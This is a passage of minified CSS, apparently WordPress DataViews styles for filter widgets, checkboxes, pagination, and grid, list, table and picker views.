} .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{ background-color:#fff; border:4px solid #fff; border-radius:50%; box-sizing:inherit; content:""; height:12px; left:50%; margin:0; position:absolute; top:50%; transform:translate(-50%, -50%); width:12px; } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{ height:8px; width:8px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ --checkbox-size:24px; border:1px solid #949494; border-radius:2px; box-shadow:0 0 0 #0000; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:16px; line-height:normal; margin-right:12px; padding:6px 8px; transition:none; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ font-size:13px; line-height:normal; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 .5px var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-webkit-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-moz-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:-ms-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{ box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked{ background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked::-ms-check{ opacity:0; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ color:#fff; margin:-3px -5px; } @media (min-width:782px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ margin:-4px 0 0 -5px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]{ background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ content:"\f460"; display:inline-block; float:left; font:normal 30px/1 dashicons; vertical-align:middle; width:16px; speak:none; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; } @media (min-width:782px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ float:none; font-size:21px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:disabled,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-disabled=true]{ background:#f0f0f0; border-color:#ddd; cursor:default; opacity:1; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ background:#fff; color:#1e1e1e; height:var(--checkbox-size); margin:0; padding:0; position:relative; width:var(--checkbox-size); } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ --checkbox-size:16px; } } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ transition:border-color .1s ease-in-out; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected{ background:var(--wp-admin-theme-color, #3858e9); border-color:var(--wp-admin-theme-color, #3858e9); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{ --checkmark-size:var(--checkbox-size); fill:#fff; height:var(--checkmark-size); left:50%; position:absolute; top:50%; transform:translate(-50%, -50%); width:var(--checkmark-size); } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{ --checkmark-size:calc(var(--checkbox-size) + 4px); } } .dataviews-filters__search-widget-filter-combobox__wrapper{ padding:8px; position:relative; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ border:1px solid #949494; border-radius:2px; box-shadow:0 0 0 #0000; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; line-height:normal; padding:6px 8px; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ font-size:13px; line-height:normal; } } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 .5px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ display:block; font-size:16px; height:32px; margin-left:0; margin-right:0; padding:0 8px 0 32px; width:100%; } @media (min-width:600px){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ font-size:13px; } } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{ background:#fff; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{ color:#757575; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{ -webkit-appearance:none; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{ align-items:center; bottom:0; display:flex; inset-inline-start:12px; justify-content:center; position:absolute; top:0; width:24px; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon:dir(ltr){ transform:scaleX(-1); } .dataviews-filters__container-visibility-toggle{ flex-shrink:0; position:relative; } .dataviews-filters-toggle__count{ background:var(--wp-admin-theme-color, #3858e9); border-radius:8px; box-sizing:border-box; color:#fff; font-size:11px; height:16px; line-height:16px; min-width:16px; outline:var(--wp-admin-border-width-focus) solid #fff; padding:0 4px; position:absolute; right:0; text-align:center; top:0; transform:translate(50%, -50%); } .dataviews-search{ width:fit-content; } .dataviews-filters__user-input-widget{ padding:16px; } .dataviews-filters__user-input-widget .components-input-control__prefix{ padding-left:8px; } .dataviews-filters__search-widget-no-elements{ align-items:center; display:flex; justify-content:center; padding:16px; } .dataviews-footer{ background-color:#fff; border-top:1px solid #f0f0f0; bottom:0; flex-shrink:0; left:0; padding:12px 48px; position:sticky; } @media not (prefers-reduced-motion){ .dataviews-footer{ transition:padding .1s ease-out; } } .dataviews-footer{ z-index:2; } @container (max-width: 430px){ .dataviews-footer{ padding:12px 24px; } } @container (max-width: 560px){ .dataviews-footer{ flex-direction:column !important; } .dataviews-footer .dataviews-bulk-actions-footer__container{ width:100%; } .dataviews-footer .dataviews-bulk-actions-footer__item-count{ flex-grow:1; } .dataviews-footer .dataviews-pagination{ justify-content:space-between; width:100%; } } .dataviews-pagination__page-select{ font-size:11px; font-weight:500; text-transform:uppercase; } @media (min-width:600px){ .dataviews-pagination__page-select .components-select-control__input{ font-size:11px !important; font-weight:500; } } .dataviews-action-modal{ z-index:1000001; } .dataviews-picker-footer__bulk-selection{ align-self:flex-start; height:32px; } .dataviews-picker-footer__actions{ align-self:flex-end; } .dataviews-selection-checkbox{ --checkbox-input-size:24px; } @media (min-width:600px){ .dataviews-selection-checkbox{ --checkbox-input-size:16px; } } .dataviews-selection-checkbox{ flex-shrink:0; line-height:0; } .dataviews-selection-checkbox .components-checkbox-control__input-container{ margin:0; } .dataviews-view-config{ container-type:inline-size; font-size:13px; line-height:1.4; width:320px; } .dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{ height:100%; overflow-y:scroll; } .dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{ width:auto; } .dataviews-view-config__sort-direction .components-toggle-group-control-option-base{ text-transform:uppercase; } .dataviews-settings-section__title.dataviews-settings-section__title{ font-size:15px; line-height:24px; } .dataviews-settings-section__sidebar{ grid-column:span 4; } .dataviews-settings-section__content,.dataviews-settings-section__content>*{ grid-column:span 8; } .dataviews-settings-section__content .is-divided-in-two{ display:contents; } .dataviews-settings-section__content .is-divided-in-two>*{ grid-column:span 4; } .dataviews-settings-section:has(.dataviews-settings-section__content:empty){ display:none; } @container (max-width: 500px){ .dataviews-settings-section.dataviews-settings-section{ grid-template-columns:repeat(2, 1fr); } .dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{ grid-column:span 2; } } .dataviews-field-control__field{ height:32px; } .dataviews-field-control__actions{ position:absolute; top:-9999em; } .dataviews-field-control__actions.dataviews-field-control__actions{ gap:4px; } .dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{ position:unset; top:unset; } .dataviews-field-control__icon{ display:flex; width:24px; } .dataviews-field-control__label-sub-label-container{ flex-grow:1; } .dataviews-field-control__label{ display:block; } .dataviews-field-control__sub-label{ color:#757575; font-size:11px; font-style:normal; margin-bottom:0; margin-top:8px; } .dataviews-view-grid-items{ container-type:inline-size; display:grid; gap:32px; grid-template-columns:repeat(auto-fill, minmax(230px, 1fr)); grid-template-rows:max-content; margin-bottom:auto; padding:0 48px 24px; } @container (max-width: 430px){ .dataviews-view-grid-items{ padding-left:24px; padding-right:24px; } } @media not (prefers-reduced-motion){ .dataviews-view-grid-items{ transition:padding .1s ease-out; } } .dataviews-view-grid .dataviews-view-grid__card{ height:100%; justify-content:flex-start; position:relative; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{ padding:8px 0 4px; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{ align-content:center; min-height:24px; overflow:hidden; text-align:start; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{ width:fit-content; } .dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{ color:#1e1e1e; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{ box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-view-grid .dataviews-view-grid__media{ aspect-ratio:1/1; background-color:#fff; border-radius:4px; overflow:hidden; position:relative; width:100%; } .dataviews-view-grid .dataviews-view-grid__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-grid .dataviews-view-grid__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; left:0; pointer-events:none; position:absolute; top:0; width:100%; } .dataviews-view-grid .dataviews-view-grid__fields{ font-size:12px; line-height:16px; position:relative; } .dataviews-view-grid .dataviews-view-grid__fields:not(:empty){ padding:0 0 12px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){ line-height:20px; min-height:24px; padding-top:2px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{ align-items:center; min-height:24px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{ color:#757575; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:35%; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:65%; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){ display:none; } .dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){ padding-bottom:12px; } .dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{ display:none; } .dataviews-view-grid__card .dataviews-selection-checkbox{ left:8px; opacity:0; position:absolute; top:-9999em; z-index:1; } @media not (prefers-reduced-motion){ .dataviews-view-grid__card .dataviews-selection-checkbox{ transition:opacity .1s linear; } } @media (hover:none){ .dataviews-view-grid__card .dataviews-selection-checkbox{ opacity:1; top:8px; } } .dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{ opacity:1; top:8px; } .dataviews-view-grid__card .dataviews-view-grid__media-actions{ opacity:0; position:absolute; right:4px; top:4px; } .dataviews-view-grid__card .dataviews-view-grid__media-actions .dataviews-all-actions-button{ background-color:#fff; } @media not (prefers-reduced-motion){ .dataviews-view-grid__card .dataviews-view-grid__media-actions{ transition:opacity .1s linear; } } @media (hover:none){ .dataviews-view-grid__card .dataviews-view-grid__media-actions{ opacity:1; top:4px; } } .dataviews-view-grid__card .dataviews-view-grid__media-actions:has(.dataviews-all-actions-button[aria-expanded=true]),.dataviews-view-grid__card:focus-within .dataviews-view-grid__media-actions,.dataviews-view-grid__card:hover .dataviews-view-grid__media-actions{ opacity:1; } .dataviews-view-grid__media--clickable{ cursor:pointer; } .dataviews-view-grid__group-header{ color:#1e1e1e; container-type:inline-size; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 48px; } @container (max-width: 430px){ .dataviews-view-grid__group-header{ padding-left:24px; padding-right:24px; } } div.dataviews-view-list{ list-style-type:none; } .dataviews-view-list{ margin:0 0 auto; } .dataviews-view-list div[role=article],.dataviews-view-list div[role=row]{ border-top:1px solid #f0f0f0; margin:0; } .dataviews-view-list div[role=article] .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{ box-sizing:border-box; padding:16px 24px; position:relative; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{ display:flex; flex:0 0 auto; gap:4px; white-space:nowrap; width:max-content; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions .components-button,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{ position:relative; z-index:1; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>div,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{ height:24px; } .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){ flex:0; overflow:hidden; width:0; } .dataviews-view-list div[role=article]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child){ flex-basis:min-content; overflow:unset; width:auto; } @media (hover:none){ .dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){ flex-basis:min-content; overflow:unset; width:auto; } } .dataviews-view-list div[role=article].is-selected.is-selected,.dataviews-view-list div[role=article].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=article].is-selected.is-selected+div[role=row],.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{ border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-view-list div[role=article]:not(.is-selected) .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{ color:#1e1e1e; } .dataviews-view-list div[role=article]:not(.is-selected).is-hovered,.dataviews-view-list div[role=article]:not(.is-selected):focus-within,.dataviews-view-list div[role=article]:not(.is-selected):hover,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{ background-color:#f8f8f8; color:var(--wp-admin-theme-color); } .dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{ color:var(--wp-admin-theme-color); } .dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{ background-color:rgba(var(--wp-admin-theme-color--rgb), .04); color:#1e1e1e; } .dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{ color:var(--wp-admin-theme-color); } .dataviews-view-list .dataviews-view-list__item{ appearance:none; background:none; border:none; cursor:pointer; inset:0; padding:0; position:absolute; scroll-margin:8px 0; z-index:1; } .dataviews-view-list .dataviews-view-list__item:focus-visible{ outline:none; } .dataviews-view-list .dataviews-view-list__item:focus-visible:before{ border-radius:2px; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); content:""; inset:var(--wp-admin-border-width-focus); outline:2px solid #0000; position:absolute; } .dataviews-view-list .dataviews-view-list__title-field{ flex:1; line-height:24px; min-height:24px; overflow:hidden; } .dataviews-view-list .dataviews-view-list__title-field:has(a,button){ z-index:1; } .dataviews-view-list .dataviews-view-list__media-wrapper{ background-color:#fff; border-radius:4px; flex-shrink:0; height:52px; overflow:hidden; position:relative; width:52px; } .dataviews-view-list .dataviews-view-list__media-wrapper img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-list .dataviews-view-list__media-wrapper:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; left:0; position:absolute; top:0; width:100%; } .dataviews-view-list .dataviews-view-list__field-wrapper{ flex-grow:1; min-height:52px; } .dataviews-view-list .dataviews-view-list__fields{ color:#757575; display:flex; flex-wrap:wrap; font-size:12px; gap:12px; row-gap:4px; } .dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{ display:none; } .dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{ align-items:center; display:flex; line-height:20px; min-height:24px; } .dataviews-view-list+.dataviews-pagination{ justify-content:space-between; } .dataviews-view-list__group-header{ color:#1e1e1e; font-size:15px; font-weight:500; margin:0 0 8px; padding:0 24px; } .dataviews-view-table{ border-collapse:collapse; border-color:inherit; color:#757575; margin-bottom:auto; position:relative; text-indent:0; width:100%; } .dataviews-view-table th{ color:#1e1e1e; font-size:13px; font-weight:400; text-align:left; } .dataviews-view-table td,.dataviews-view-table th{ padding:12px; } .dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{ text-align:right; } .dataviews-view-table td.dataviews-view-table__actions-column--sticky,.dataviews-view-table th.dataviews-view-table__actions-column--sticky{ background-color:#fff; position:sticky; right:0; } .dataviews-view-table td.dataviews-view-table__actions-column--stuck:after,.dataviews-view-table th.dataviews-view-table__actions-column--stuck:after{ background-color:#f0f0f0; bottom:0; content:""; display:block; left:0; position:absolute; top:0; width:1px; } .dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{ padding-right:0; } .dataviews-view-table td.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper,.dataviews-view-table th.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper{ max-width:auto; min-width:auto; } .dataviews-view-table tr{ border-top:1px solid #f0f0f0; } .dataviews-view-table tr .dataviews-view-table-header-button{ gap:4px; } .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{ padding-left:48px; } .dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{ margin-left:-8px; } .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{ padding-right:48px; } .dataviews-view-table tr:last-child{ border-bottom:0; } .dataviews-view-table tr.is-hovered,.dataviews-view-table tr.is-hovered .dataviews-view-table__actions-column--sticky{ background-color:#f8f8f8; } .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{ opacity:0; } .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{ opacity:1; } .dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:0; } .dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:1; } @media (hover:none){ .dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){ opacity:1; } } .dataviews-view-table tr.is-selected{ background-color:rgba(var(--wp-admin-theme-color--rgb), .04); color:#757575; } .dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{ border-top:1px solid rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-view-table tr.is-selected:hover{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-table tr.is-selected .dataviews-view-table__actions-column--sticky{ background-color:color-mix(in srgb, rgb(var(--wp-admin-theme-color--rgb)) 4%, #fff); } .dataviews-view-table tr.is-selected:hover .dataviews-view-table__actions-column--sticky{ background-color:color-mix(in srgb, rgb(var(--wp-admin-theme-color--rgb)) 8%, #fff); } .dataviews-view-table thead{ inset-block-start:0; position:sticky; z-index:1; } .dataviews-view-table thead tr{ border:0; } .dataviews-view-table thead tr .components-checkbox-control__input.components-checkbox-control__input{ opacity:1; } .dataviews-view-table thead th{ background-color:#fff; font-size:11px; font-weight:500; padding-bottom:8px; padding-left:12px; padding-top:8px; text-transform:uppercase; } .dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){ padding-left:4px; } .dataviews-view-table tbody td{ vertical-align:top; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{ align-items:center; display:flex; min-height:32px; white-space:nowrap; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-end{ justify-content:flex-end; } .dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-center{ justify-content:center; } .dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){ min-height:0; } .dataviews-view-table .dataviews-view-table-header-button{ font-size:11px; font-weight:500; padding:4px 8px; text-transform:uppercase; } .dataviews-view-table .dataviews-view-table-header-button:not(:hover){ color:#1e1e1e; } .dataviews-view-table .dataviews-view-table-header-button span{ speak:none; } .dataviews-view-table .dataviews-view-table-header-button span:empty{ display:none; } .dataviews-view-table .dataviews-view-table-header{ padding-left:4px; } .dataviews-view-table .dataviews-view-table__actions-column{ white-space:nowrap; width:auto; } .dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{ opacity:1; } .dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){ padding-left:0; } .dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{ padding:4px 8px; } .dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{ padding:16px 12px; } .dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{ padding-right:0; } @container (max-width: 430px){ .dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{ padding-left:24px; } .dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{ padding-right:24px; } } .dataviews-view-table-selection-checkbox{ --checkbox-input-size:24px; } @media (min-width:600px){ .dataviews-view-table-selection-checkbox{ --checkbox-input-size:16px; } } .dataviews-column-primary__media{ background-color:#fff; border-radius:4px; flex-shrink:0; max-width:60px; overflow:hidden; position:relative; } .dataviews-column-primary__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-column-primary__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; left:0; position:absolute; top:0; width:100%; } .dataviews-view-table__cell-content-wrapper:not(.dataviews-column-primary__media),.dataviews-view-table__primary-column-content:not(.dataviews-column-primary__media){ max-width:80ch; min-width:15ch; } .dataviews-view-table__group-header-row .dataviews-view-table__group-header-cell{ color:#1e1e1e; font-weight:500; padding:12px 48px; } .dataviews-view-table col[class^=dataviews-view-table__col-]:not(.dataviews-view-table__col-primary){ width:1%; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card{ height:100%; justify-content:flex-start; position:relative; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-actions{ padding:8px 0 4px; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field{ align-content:center; min-height:24px; overflow:hidden; text-align:start; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field--clickable{ width:fit-content; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{ color:#1e1e1e; } .dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after,.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{ box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); } .dataviews-view-picker-grid .dataviews-view-picker-grid__card 